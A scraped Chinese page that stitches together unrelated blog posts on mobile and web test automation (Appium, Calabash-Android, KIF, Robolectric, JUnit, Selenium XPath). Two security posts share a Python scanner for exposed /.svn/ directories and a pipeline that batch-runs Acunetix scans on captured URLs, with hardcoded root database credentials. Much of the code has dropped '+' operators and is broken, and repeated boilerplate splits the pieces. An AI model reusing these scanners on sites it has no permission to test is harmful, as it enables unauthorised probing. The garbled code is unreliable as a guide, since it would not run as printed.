如果同一个控件运用不同的选择子查找两次的话,因为最终底层的uiobject的成员变量uiselector mselector不一样,所以确实可以认为是不同的控件
但以下两个如果用同样的uiselector选择子来查找控件的情况我就解析不了了,毕竟在我看来bootstrap这边应该把它们看成是同一个对象的:
同一个脚本不同的方法中分别对同一控件用同样的uiselelctor选择子进行查找呢?
不同脚本中呢?
这些也许在今后深入了解中得到解决,但看家如果知道的,还望不吝赐教
5. 小结
最后我们对bootstrap的控件相关知识点做一个总结
androidelement的一个实例代表了一个bootstrap的控件
androidelement控件的成员变量uiobject el代表了uiautomator框架中的一个真实窗口控件,通过它就可以直接透过uiautomator框架对控件进行实质性操作
pc端的webelement元素和bootstrap的androidelement控件是通过androidelement控件的string id进行映射关联的
androidelementhash类维护了一个以androidelement的id为键值,以androidelement的实例为value的全局唯一哈希表,pc端想要获得一个控件的时候会先从这个哈希表查找,如果没有了再创建新的androidelement控件并加入到该哈希表中,所以该哈希表中维护的是一个当前已经使用过的控件
相关文章:
appium android bootstrap源码分析之简介
: : :
text-to-speech function is limited to 100 characters
的全称是keep it functional,来自square,是一款专为ios设计的应用框架。由于kif是使用objective-c语言编写的,因此,对于ios开发者而言,用起来要更得心应手,可以称得上是一款非常值得收藏的ios测试利器。 kif最酷的地方是它是一个开源的项目,且有许多新功能还在不断开发中。例如下一个版本将会提供截屏的功能并且能够保存下来。这意味着当你跑完测试之后,可以在你空闲时通过截图来查看整个过程中的关键点。难道这不是比鼠标移动上去并用肉眼观察kif点击和拖动整个过程好上千倍万倍么?kif变得越来越好了,所以如何使用它,对于自己来说是一个很好的投资。
由于kif测试用例是继承了ocunit,并使用了标准的xcode5测试框架,你可以使用持续集成来跑这个测试。当你在忙着别的事情的时候,就拥有了一个能够像人的手指一样准点触控的机器人去测试你的应用程序。太棒了!
: : :
text-to-speech function is limited to 100 characters
什么是 ?
calabash 是一个框架,它可以测试 和 ios 原生应用和混合应用。
它有:
calabash-android
calabash-ios
凯发k8网页登录主页: http://calabash.sh
calabash-android介绍
calabash-android 是支持 android 的 ui 框架,pc 端使用了 cucumber 框架,通过 http 和 json 与模拟器和真机上安装的测试 apk 通信,测试 apk 调用 robotium 的方法来进行 ui 自动化测试,支持 webview 操作。
calabash-android 架构图
features —— 这里的 feature 就是 cucumber 的 feature,用来描述 user stories 。
step definitions —— calabash android 事先已经定义了一些通用的 step。你可以根据自己的需求,定义更加复杂的步骤。
your app —— 测试之前,你不必对你的应用修改。(这里其实是有问题,后面我们会说到。)
instrumentation server —— 这是一个应用,在运行测试的时候会被安装到设备中去。 这个应用是基于 android sdk 里的 activityinstrumentationtestcase2。它是 calabash android 框架的一部分。robotium 就集成在这个应用里。
calabash-android 环境搭建
环境
rvm
rbenv
rubyinstaller.org for windows
android 开发环境
java
android sdk
ant
指定 java 环境变量, android sdk 环境变量(android_home), ant 加入到 path 中去。
安装 calabash-android
gem install calabash-android
sudo gem install calabash-android # 如果权限不够用这个。
如有疑问,请参考: https://github.com/calabash/calabash-android/blob/master/documentation/installation.md
创建 calabash-android 的骨架
calabash-android gen
会生成如下的目录结构:
? calabash tree
.
features
|_support
| |_app_installation_hooks.rb
| |_app_life_cycle_hooks.rb
| |_env.rb
|_step_definitions
| |_calabash_steps.rb
|_my_first.feature
写测试用例
像一般的 cucumber 测试一样,我们只要在 feature 文件里添加测试用例即可。比如我们测试 contactmanager.apk (android sdk sample 里面的, appium 也用这个 apk)。
我们想实现,
打开这个应用
点击 add contact 按钮
添加 contact name 为 hello
添加 contact phone 为 13817861875
添加 contact email 为 hengwen@hotmail.com
保存
所以我们的 feature 应该是这样的:
feature: login feature scenario: as a valid user i can log into my app when i press "add contact"
then i see "target account"
then i enter "hello" into input field number 1 then i enter "13817861875" into input field number 2 then i enter "hengwen@hotmail.com" into input field number 3 when i press "save"
then i wait for 1 second then i toggle checkbox number 1 then i see "hello"
这里 input field number 就针对了 contactadder activity 中输入框。我现在这样写其实不太友好,比较好的方式是进行再次封装,对 dsl 撰写者透明。比如:
when i enter "hello" as "contact name" step_definition when (/^i enter "([^\"]*)" as "([^\"]*)"$/) do | text, target | index = case target when "contact name": 1 ... end steps %{ then i enter #{text} into input field number #{index} }end |
这样 feature 可读性会强一点。
运行 feature
在运行之前,我们对 apk 还是得处理下,否则会遇到一些问题。
app did not start (runtimeerror)
因为calabash-android的client和test server需要通信,所以要在 androidmanifest.xml 中添加权限:
contactermanager 代码本身的问题
由于 contacermanager 运行时候,需要你一定要有一个账户,如果没有账户 save 的时候会出错。为了便于运行,我们要修改下。
源代码地址在 $android_home/samples/android-19/legacy/contactmanager,大家自己去找。
需要修改 com.example.android.contactmanager.contactadder 类里面的 createcontactentry 方法,我们需要对 mselectedaccount 进行判断, 修改地方如下:
// prepare contact creation request // // note: we use rawcontacts because this data must be associated with a particular account. // the system will aggregate this with any other data for this contact and create a // coresponding entry in the contactscontract.contacts provider for us. arraylist ops = new arraylist(); if(mselectedaccount != null ) { ops.add(contentprovideroperation.newinsert(contactscontract.rawcontacts.content_uri) .withvalue(contactscontract.rawcontacts.account_type, mselectedaccount.gettype()) .withvalue(contactscontract.rawcontacts.account_name, mselectedaccount.getname()) .build()); } else { ops.add(contentprovideroperation.newinsert(contactscontract.rawcontacts.content_uri) .withvalue(contactscontract.rawcontacts.account_type, null) .withvalue(contactscontract.rawcontacts.account_name, null) .build()); }.... if (mselectedaccount != null) { // ask the contact provider to create a new contact log.i(tag,"selected account: " mselectedaccount.getname() " (" mselectedaccount.gettype() ")"); } else { log.i(tag,"no selected account"); } |
代码修改好之后,导出 apk 文件。
运行很简单:
如果遇到签名问题,请用: calabash-android resign apk。
可以看看我运行的情况:
? calabash calabash-android run contactmanager.apk feature: login feature scenario: as a valid user i can log into my app # features/my_first.feature:33135 kb/s (556639 bytes in 0.173s)3315 kb/s (26234 bytes in 0.007s) when i press "add contact" # calabash-android-0.4.21/lib/calabash-android/steps/press_button_steps.rb:17 then i see "target account" # calabash-android-0.4.21/lib/calabash-android/steps/assert_steps.rb:5 then i enter "hello" into input field number 1 # calabash-android-0.4.21/lib/calabash-android/steps/enter_text_steps.rb:5 then i enter "13817861875" into input field number 2 # calabash-android-0.4.21/lib/calabash-android/steps/enter_text_steps.rb:5 then i enter "hengwen@hotmail.com" into input field number 3 # calabash-android-0.4.21/lib/calabash-android/steps/enter_text_steps.rb:5 when i press "save" # calabash-android-0.4.21/lib/calabash-android/steps/press_button_steps.rb:17 then i wait for 1 second # calabash-android-0.4.21/lib/calabash-android/steps/progress_steps.rb:18 then i toggle checkbox number 1 # calabash-android-0.4.21/lib/calabash-android/steps/check_box_steps.rb:1 then i see "hello" # calabash-android-0.4.21/lib/calabash-android/steps/assert_steps.rb:51 scenario (1 passed)9 steps (9 passed)0m28.304s all pass! |
大家看到 gif 是 failed,是因为在模拟器上运行的。而上面全部通过的是我在海信手机上运行的。环境不一样,略有差异。
总结
本文是对 calabash-android 的一个简单介绍,做的是抛砖引玉的活。移动测试框架并非 appium 一家,testerhome 希望其他框架的话题也能热火起来。watch and learn!
: : :
text-to-speech function is limited to 100 characters
摘要: appium server拥有两个主要的功能: 它是个http服务器,它专门接收从客户端通过基于http的rest协议发送过来的命令 他是bootstrap客户端:它接收到客户端的命令后,需要想办法把这些命令发送给目标安卓机器的bootstrap来驱动uiatuomator来做事情 通过上一篇文章《appium server 源码分析之启动运行express http服务器》我们分...
如果你的目标测试app有很多imageview组成的话,这个时候monkeyrunner的截图比较功能就体现出来了。而其他几个流行的框架如robotium,uiautomator以及都提供了截图,但少了两个功能:
获取子图
图片比较
既然开发的monkeyrunner能盛行这么久,且它体功能的结果验证功能只有截屏比较,那么必然有它的道理,有它存在的价值,所以我们很有必要在需要的情况下把它相应的功能给移植到其他框架上面上来。
经过本人前面描述的几个框架的源码的研究(robotium还没有做),大家可以知道monkeyrunner是跑在pc端的,只有在需要发送相应的命令事件时才会驱动目标机器的monkey或者等。比如获取图片是从目标机器的buffer设备得到,但是比较图片和获取子图是从客户pc端做的。
这里appium工作的方式非常的类似,因为它也是在客户端跑,但需要注入事件发送命令时还是通过目标机器段的bootstrap来驱动uiatuomator来完成的,所以要把monkeyrunner的获取子图已经图片比较的功能移植过来是非常容易的事情。
但uiautomator就是另外一回事了,因为它完全是在目标机器那边跑的,所以你的代码必须要android那边支持,所以本人在移植到uiautomator上面就碰到了问题,这里先给出appium 上面的移植,以方便大家的使用,至于uiautomator和robotium的,今后本人会酌情考虑是否提供给大家。
还有就是这个移植过来的代码没有经过优化的,比如失败是否保存图片以待今后查看等。大家可以基于这个基础实现满足自己要求的功能
1. 移植代码
移植代码放在一个util.java了工具类中:
public static boolean sameas(bufferedimage myimage,bufferedimage otherimage, double percent) { //bufferedimage otherimage = other.getbufferedimage(); //bufferedimage myimage = getbufferedimage(); if (otherimage.getwidth() != myimage.getwidth()) { return false; } if (otherimage.getheight() != myimage.getheight()) { return false; } int[] otherpixel = new int[1]; int[] mypixel = new int[1]; int width = myimage.getwidth(); int height = myimage.getheight(); int numdiffpixels = 0; for (int y = 0; y < height; y ) { for (int x = 0; x < width; x ) { if (myimage.getrgb(x, y) != otherimage.getrgb(x, y)) { numdiffpixels ; } } } double numberpixels = height * width; double diffpercent = numdiffpixels / numberpixels; return percent <= 1.0d - diffpercent; } public static bufferedimage getsubimage(bufferedimage image,int x, int y, int w, int h) { return image.getsubimage(x, y, w, h); } public static bufferedimage getimagefromfile(file f) { bufferedimage img = null; try { img = imageio.read(f); } catch (ioexception e) { //if failed, then copy it to local path for later check:tbd //fileutils.copyfile(f, new file(p1)); e.printstacktrace(); system.exit(1); } return img; } |
这里就不多描述了,基本上就是基于monkeyrunner做轻微的修改,所以叫做移植。而uiautomator就可能需要大改动,要重现实现了。
2. 客户端调用代码举例
packagesample.demo.appiumdemo; importstaticorg.junit.assert.*; importjava.awt.image.bufferedimage; importjava.io.file; importjava.io.ioexception; importjava.net.url; importjavax.imageio.imageio; importlibs.util; importio.appium.java_client.android.androiddriver; importorg.apache.commons.io.fileutils; importorg.junit.after; importorg.junit.before; importorg.junit.test; importorg.openqa.selenium.by; importorg.openqa.selenium.outputtype; importorg.openqa.selenium.webelement; importorg.openqa.selenium.remote.desiredcapabilities; publicclasscomparescreenshots{ privateandroiddriverdriver; @before publicvoidsetup()throwsexception{ desiredcapabilitiescap=newdesiredcapabilities(); cap.setcapability("devicename","android"); cap.setcapability("apppackage","com.example.android.notepad"); cap.setcapability("appactivity",".noteslist"); driver=newandroiddriver(new,cap); } @after publicvoidteardown()throwsexception{ driver.quit(); } @test publicvoidcomparescreenandsubscreen()throwsinterruptedexception,ioexception{ thread.sleep(2000); webelementel=driver.findelement(by.classname("android.widget.listview")).findelement(by.name("note1")); el.click(); thread.sleep(1000); stringp1="c:/1"; stringp2="c:/2"; filef2=newfile(p2); filef1=driver.getscreenshotas(outputtype.file); fileutils.copyfile(f1,newfile(p1)); bufferedimageimg1=util.getimagefromfile(f1); f2=driver.getscreenshotas(outputtype.file); fileutils.copyfile(f2,newfile(p2)); bufferedimageimg2=util.getimagefromfile(f2); booleansame=util.sameas(img1,img2,0.9); asserttrue(same); bufferedimagesubimg1=util.getsubimage(img1,6,39,474,38); bufferedimagesubimg2=util.getsubimage(img1,6,39,474,38); same=util.sameas(subimg1,subimg2,1); filef3=newfile("c:/sub-1.png"); imageio.write(subimg1,"png",f3); filef4=newfile("c:/sub-2.png"); imageio.write(subimg1,"png",f4); } } |
也不多解析了,没有什么特别的东西。
大家用得上的就支持下就好了...
: : :
text-to-speech function is limited to 100 characters
开发者们注意了,这款框架一定会让你们兴奋不已,因为它是一款已基本上摆脱了模拟器测试的老套路的速率。可以解压android sdk,还能直接对应用进行测试,从而帮你轻而易举地解决所遇到的任何问题。
robolectric 是一款android单元测试框架,示例代码:
@runwith(robolectrictestrunner.class) public class myactivitytest { @test public void clickingbutton_shouldchangeresultsviewtext() throws exception { activity activity = robolectric.buildactivity(myactivity.class).create().get(); button pressmebutton = (button) activity.findviewbyid(r.id.press_me_button); textview results = (textview) activity.findviewbyid(r.id.results_text_view); pressmebutton.performclick(); string resultstext = results.gettext().tostring(); assertthat(resultstext, equalto("testing android rocks!")); } } |
: : :
text-to-speech function is limited to 100 characters
junit4.x的运行器
为提供了默认的测试运行器,它的测试方法都是由它负责执行的
我们也可以定制自己的运行器,所有的运行器都继承自org.junit.runner.runner
还可以使用org.junit.runer.runwith注解 为每个测试类指定使用具体的运行器
一般情况下,默认测试运行器可以应对绝大多数的单元测试要求
当使用junit提供的一些高级特性,或者针对特殊需求定制junit测试方式时
显式的声明测试运行就必不可少了
junit4.x测试套件的创建步骤
① 创建一个空类作为测试套件的入口
② 使用org.junit.runner.runwith 和org.junit.runners.suite.suiteclasses注解 修饰该空类
③ 将org.junit.runners.suite 作为参数传入runwith注解,即使用套件运行器执行此类
④ 将需要放入此测试套件的测试类组成数组,作为suiteclasses注解的参数
⑤ 保证这个空类使用public 修饰,而且存在公开的不带有任何参数的构造函数
下面是junit4.x中创建测试套件类的示例代码
package com.jadyer.junit4; import org.junit.runner.runwith; import org.junit.runners.suite; import org.junit.runners.suite.suiteclasses; /** * junit4.x测试套件的举例 * @see 下面的calculatortest.class和parametertest.class均为我们自己编写的junit4单元测试类 */ @runwith(suite.class) @suiteclasses({calculatortest.class, parametertest.class}) public class testall {} 下面是junit3.8中创建测试套件类的示例代码 package com.jadyer.junit3; import junit.framework.test; import junit.framework.testcase; import junit.framework.testsuite; /** * junit3.8中批量运行所有的测试类。。直接在该类上run as junit test即可 * @see 这里就用到了设计模式中典型的组合模式,即将不同的东西组合起来 * @see 组合之后的东西,即可以包含本身,又可以包含组成它的某一部分 * @see testsuite本身是由testcase来组成的,那么testsuite里面就可以包含testcase * @see 同时testsuite里面还可以继续包含testsuite,形成一种递归的关系 * @see 这里就体现出来了,所以这是一种非常非常好的设计模式,一种好的策略 */ public class testall extends testcase { //方法名固定的,必须为public static test suite() public static test suite() { //testsuite类实现了test接口 testsuite suite = new testsuite(); //这里传递的是测试类的class对象。该方法还可以接收testsuite类型对象 suite.addtestsuite(calculatortest.class); suite.addtestsuite(mystacktest.class); return suite; } } |
junit4.x的参数化测试
为保证单元测试的严谨性,通常会模拟不同的测试数据来测试方法的处理能力
为此我们需要编写大量的单元测试的方法,可是这些测试方法都是大同小异的
它们的代码结构都是相同的,不同的仅仅是测试数据和期望值
这时可以使用junit4的参数化测试,提取测试方法中相同代码 ,提高代码重用度
而junit3.8对于此类问题,并没有很好的解决方法,junit4.x弥补了junit3.8的不足
参数化测试的要点
① 准备使用参数化测试的测试类必须由org.junit.runners.parameterized 运行器修饰
② 准备数据。数据的准备需要在一个方法中进行,该方法需要满足的要求如下
1) 该方法必须由org.junit.runners.parameterized.parameters注解 修饰
2) 该方法必须为返回值是java.util.collection 类型的public static方法
3) 该方法没有参数 ,方法名可随意 。并且该方法是在该类实例化之前执行的
③ 为测试类声明几个变量 ,分别用于存放期望值和测试所用的数据
④ 为测试类声明一个带有参数的公共构造函数 ,并在其中为③ 中声明的变量赋值
⑤ 编写测试方法,使用定义的变量作为参数进行测试
参数化测试的缺点
一般来说,在一个类里面只执行一个测试方法。因为所准备的数据是无法共用的
这就要求,所要测试的方法是大数据量的方法,所以才有必要写一个参数化测试
而在实际开发中,参数化测试用到的并不是特别多
下面是junit4.x中参数化测试的示例代码
首先是calculator.java
package com.jadyer.junit4; /** * 数学计算-->加法 */ public class calculator { public int add(int a, int b) { return a b; } } |
然后是junit4.x的参数化测试类parametertest.java
package com.jadyer.junit4; import static org.junit.assert.assertequals; //静态导入 import java.util.arrays; import java.util.collection; import org.junit.test; import org.junit.runner.runwith; import org.junit.runners.parameterized; import org.junit.runners.parameterized.parameters; import com.jadyer.junit4.calculator; /** * junit4的参数化测试 */ @runwith(parameterized.class) public class parametertest { private int expected; private int input11; private int input22; public parametertest(int expected, int input11, int input22){ this.expected = expected; this.input11 = input11; this.input22 = input22; } @parameters public static collection preparedata(){ //该二维数组的类型必须是object类型的 //该二维数组中的数据是为测试calculator中的add()方法而准备的 //该二维数组中的每一个元素中的数据都对应着构造方法parametertest()中的参数的位置 //所以依据构造方法的参数位置判断,该二维数组中的第一个元素里面的第一个数据等于后两个数据的和 //有关这种具体的使用规则,请参考junit4的api文档中的org.junit.runners.parameterized类的说明 object[][] object = {{3,1,2}, {0,0,0}, {-4,-1,-3}, {6,-3,9}}; return arrays.aslist(object); } @test public void testadd(){ calculator cal = new calculator(); assertequals(expected, cal.add(input11, input22)); } } /********************【该测试的执行流程】************************************************************************/ //1..首先会执行preparedata()方法,将准备好的数据作为一个collection返回 //2..接下来根据准备好的数据调用构造方法。collection中有几个元素,该构造方法就会被调用几次 // 我们这里collection中有4个元素,所以parametertest()构造方法会被调用4次,于是会产生4个该测试类的对象 // 对于每一个测试类的对象,都会去执行testadd()方法 // 而collection中的数据是由junit传给parametertest(int expected, int input11, int input22)构造方法的 // 于是testadd()用到的三个私有参数,就被parametertest()构造方法设置好值了,而它们三个的值就来自于collection /************************************************************************************************************/ |
: : :
text-to-speech function is limited to 100 characters
快放假了,比较闲,写了个svn信息泄漏的探测工具,严格意义上说和wwwscan功能差不多,判断是否存在/.svn/等目录,贴上代码:
#coding:utf-8 import sys import httplib2 if len(sys.argv)<2: print 'usag:' "svnscan.py" " host" sys.exit() #判断输入url是否是http开头 if sys.argv[1].startswith('http://'): host=sys.argv[1] else: host="http://" sys.argv[1] #访问一个不存在的目录,将返回的status和content-length做为特征 status='' contentlen='' http=httplib2.http() dirconurl=host '/nodirinthiswebanx4dm1n/' dirresponse=http.request(dirconurl,'get') status=dirresponse[0].status contentlen=dirresponse[0].get('content-length') #字典中保存svn的常见目录,逐个访问和特征status、content-length进行比对 f=open(r'e:\svnpath.txt','r') pathlist=f.readlines() def svnscan(subpath): for svnpath in pathlist: svnurl=host svnpath.strip('\r\n') response=http.request(svnurl,'get') if response[0].status!=status and response[0].get('content-length')!=contentlen: print "vuln:" svnurl if __name__=='__main__': svnscan(host) f.close() |
svnpath.txt文件中保存的常见的svn版本控制的目录路径等,借鉴了某大婶的思路,根据返回的状态码、content-length跟一个不存在的目录返回的状态码、content-length进行比对,主要目的是确保判断的准确性,因为有些站点可能会有404提示页等等。
目前只能想到的是存在svn目录,且权限设置不严格的,所以这个程序应该是不能准确判断是否存在漏洞,只能探测是否存在svn的目录。
不知道还有其它的办法来确认一个站点是否存在svn目录?目录浏览返回的状态应该也是200?还是有另外的状态码?
: : :
text-to-speech function is limited to 100 characters
最近再做一个python的小程序,主要功能是实现acuenetix web vulnerability scanner的自动化扫描,批量对一些目标进行扫描,然后对扫描结果写入数据库。写这篇,分享一下一些思路。
程序主要分三个功能模块,url下载、批量扫描、结果入库,
有一个另外独立的程序,在流量镜像服务器上进行抓包,抓取http协议的包,然后对包进行筛选处理,保留一些带有各种参数的url,然后对url进行入库。url下载功能主要是从mysql数据库中下载url。
批量扫描功能主要调用了awvs的命令行wvs_console.exe,调研的时候先是尝试用awvs计划任务来实现批量扫描,但是发现在将一些awvs设置发包给计划任务的时候会遇到各种困难,计划任务貌似也不是一个网页,采用的是xml模版,技术有限,最后没实现,只好放弃。
之后发现awvs支持命令行,wvs_console.exe就是主程序,有很多命令参数,基本能实现awvs界面操作的所有功能。批量扫描主要是读取下载到本地的url,进行逐一扫描。要将扫描结果保存到本地access数据库文件,需要使用savetodatabase参数。
awvs会自动将扫描结果保存到本地的access数据库中,具体的表是wvs_alerts,也可以设置保存到mssql数据库中,具体的是在application setting进行设置。结果入库模块的功能是从access数据库筛选出危害等级为3的漏洞,然后将它们写入到mysql数据库。主要用了正则表达式对request中的host,漏洞文件,get或post提交的请求进行筛选拼凑,获取到完整的漏洞测试url。
贴上代码,很菜,代码各种,最主要的是程序的整个流程设计存在问题,导致后来被大佬给否掉了,没有考虑到重复扫描和程序异常中止的情况,导致我的程序只能一直运行下去 ,否则重新运行又会从头对url进行扫描。
对此很郁闷,某天晚上下班回家想了想,觉得可以通过以下方法来解决以上两个问题:
awvs扫描结果中有一个wvs_scans表,保存的都是扫描过的url,以及扫描开始时间和结束时间。可以将当天下载的url保存到一个list中,然后在扫描之前先将之前所有扫描过的url查询出来,同样保存在list中,读取list中的url,判断是否在扫描过的url list中,如果存在将之从url list中删除掉;如果不存在则再进行扫描。
异常中止的话貌似只能增加系统计划任务,每天结束再打开,不知道如何时时监视系统进程,通过是否存在wvs的进程来判断。
以上只是一个大概的程序介绍,贴上代码,代码可能存在一些问题,有兴趣的童鞋去完善完善,大佬觉得我的效率和编码能力有待提高,so,让继续,所以没再继续跟进这个项目。
downurl.py 代码:
#coding:utf-8 import mysqldb import os,time,shutil import hashlib,re datanow=time.strftime('%y-%m-%d',time.localtime(time.time())) #filetype='.txt' #urlfilename=datanow filetype #path="d:\wvscan\url\\" #newfile=path urlfilename datanow=time.strftime('%y-%m-%d',time.localtime(time.time())) con=mysqldb.connect('10.1.1.1','root','12345678','wvsdb') cur=con.cursor() sqlstr='select url from urls where time like %s' values=datanow '%' cur.execute(sqlstr,values) data=cur.fetchall() #将当天的url保存到本地url.txt文件 f=open(r'd:\wvscan\url.txt','a ') uhfile=open(r'd:\wvscan\urlhash.txt','a ') line=uhfile.readlines() #保存之前对url进行简单的处理,跟本地的hash文件比对,确保url.txt中url不重复 for i in range(0,len(data)): impurl=str(data[i][0]).split('=')[0] urlhash=hashlib.new('md5',impurl).hexdigest() urlhash=urlhash '\n' if urlhash in line: pass else: uhfile.write(urlhash) newurl=str(data[i][0]) '\n' f.writelines(newurl) cur.close() con.close() |
抓包程序抓到的url可能重复率较高,而且都是带参数的,保存到本地的时候截取了最前面的域名 目录 文件部分进行了简单的去重。awvs可能不大适合这样的方式,只需要将全部的域名列出来,然后逐一扫描即可,site crawler功能会自动爬行。
writeinmysql.py 结果入库模块,代码:
#coding:utf-8 import subprocess import os,time,shutil,sys import win32com.client import mysqldb import re,hashlib reload(sys) sys.setdefaultencoding('utf-8') #需要先在win服务器设置odbc源,指向access文件。实际用pyodbc模块可能更好一些 def writeinmysql(): conn = win32com.client.dispatch(r'adodb.connection') dsn = 'provider=microsoft access driver (*.mdb, *.accdb)' conn.open('awvs') cur=conn.cursor() rs = win32com.client.dispatch(r'adodb.recordset') rs.open('[wvs_alerts]', conn, 1, 3) if rs.recordcount == 0: exit() #遍历所有的结果,cmp进行筛选危害等级为3的,也就是高危 while not rs.eof: severity = str(rs('severity')) if cmp('3', severity): rs.movenext continue vultype = rs('algroup') vulfile=rs('affects') #由于mysql库中要求的漏洞类型和access的名称有点差别,所以还需要对漏洞类型和危害等级进行二次命名,sql注入和xss为例 xss='cross site' sqlinject='injection' if xss in str(vultype): vultype='xss' level='低危' elif sqlinject in str(vultype): vultype="sql注入" level='高危' else: level='中危' #拼凑出漏洞测试url,用了正则表达式, post和get类型的request请求是不同的 params = rs('parameter') ss = str(rs('request')) str1 = ss[0:4] if 'post'== str1: requesttype = 'post' regex = 'post (.*?) http/1\.\d ' str1 = re.findall(regex, ss); else: requesttype = 'get' regex = 'get (.*?) http/1\.\d ' str1 = re.findall(regex, ss); regex = 'host:(.*?)\r\n' host = re.findall(regex, ss); if host == []: host = '' else: host = host[0].strip() if str1 == []: str1 = '' else: str1 = str1[0] url =host str1 timex=time.strftime('%y-%m-%d',time.localtime(time.time())) status=0 scanner='awvs' comment='' db = mysqldb.connect(host="10.1.1.1", user="root", passwd="12345678", db="wvsdb",charset='utf8') cursor = db.cursor() sql = 'insert into vuls(status,comment,vultype,url,host,params,level,scanner) values(%s,%s,%s,%s,%s,%s,%s,%s)' values =[status,comment,vultype,'http://' url.lstrip(),host,params,level,scanner] #入库的时候又进行了去重,确保mysql库中没有存在该条漏洞记录,跟本地保存的vulhash进行比对,感觉这种方法很原始。 hashvalue=str(values[2]) str(values[4]) str(vulfile) str(values[5]) vulhash=hashlib.new('md5',hashvalue).hexdigest() vulhash=vulhash '\n' file=open(r'd:\wvscan\vulhash.txt','a ') if vulhash in file.readlines(): pass else: file.write(vulhash '\n') cursor.execute(sql, values) delsql='delete from vuls where vultype like %s or vultype like %s' delvaluea='slow http%' delvalueb='host header%' delinfo=[delvaluea,delvalueb] cursor.execute(delsql,delinfo) db.commit() rs.movenext rs.close conn.close cursor.close() db.close() if __name_=='__main__': writeinmysql() time.sleep(10) #备份每天的扫描数据库,用原始数据库替换,方便第二天继续保存。 datanow=time.strftime('%y-%m-%d',time.localtime(time.time())) filetype='.mdb' urlfilename=datanow filetype path="d:\wvscan\databak\\" databakfile=path urlfilename shutil.copyfile(r'd:\wvscan\data\vulnscanresults.mdb',databakfile) shutil.copyfile(r'd:\wvscan\vulnscanresults.mdb',r'd:\wvscan\data\vulnscanresults.mdb') |
startwvs.py,扫描模块,这个模块问题较多,就是之前提到的,没有考虑重复扫描和异常终止的问题,贴上代码:
#coding:utf-8 import subprocess import os,time,shutil file=open(r"d:\wvscan\url.txt","r") def wvsscan(): for readline in file: url=readline.strip('\n') cmd=r"d:\wvs\wvs_console.exe /scan " url r" /savetodatabase" doscan=subprocess.popen(cmd) doscan.wait() if __name__=='__main__': wvsscan() |
: : :
text-to-speech function is limited to 100 characters
: : :
text-to-speech function is limited to 100 characters
selenium大部分的方法参数都是.lang.string locator,假如我们想传入xptah表达式,可以在表达式的开头加上"xpath=",也可以不加.如下面的两个效果是一样的.
selenium.getattribute("//tr/input/@type") === selenium.getattribute("xpath=//tr/input/@type")
selenium中有一个比较特别而非常有用的方法
java.lang.number getxpathcount(java.lang.string xpath)
通过此方法我们可以得到所有匹配xpath的数量,调用此方法,传入的表达式就不能以"xpath="
开头.
另外需要知道的是:当xpath表达式匹配到的内容有多个时,seleium默认的是取第一个,假如,我们想
自己指定第几个,可以用"xpath=(xpath表达式)[n]"来获取,例如:
selenium.gettext("//table[@id='order']//td[@contains(text(),'删除')]");
在id为order的table下匹配第一个包含删除的td.
selenium.gettext("xpath=(//table[@id='order']//td[@contains(text(),'删除')])[2]");
匹配第二个包含删除的td.
在调试xpath的时候,我们可以下个firefox的xpath插件,这样可以在页面上通过右键开启xpath插件.
然后随时可以检验xpath所能匹配的内容,非常方便.假如通过插件的xpath表达式可以匹配
到预期的内容,但是放到selenium中跑却拿不到,那么最有可能出现的问题是:在你调用seleium方法
时,传入的xpath表达式可能多加了或者是少加了"xpath=".
以下为几个常用的xpath:
1.selenium.getattribute("//tr/input/@type")
2.selenium.iselementpresent("//span[@id='submit' and @class='size:12']");
3.selenium.iselementpresent("//tr[contains(@sytle,'display:none')]");
4.selenium.iselementpresent("//*[contains(name(),'a')]"); //这个等价于 //a
5.selenium.iselementpresent("//tr[contains(text(),'金钱')]");
: : :
text-to-speech function is limited to 100 characters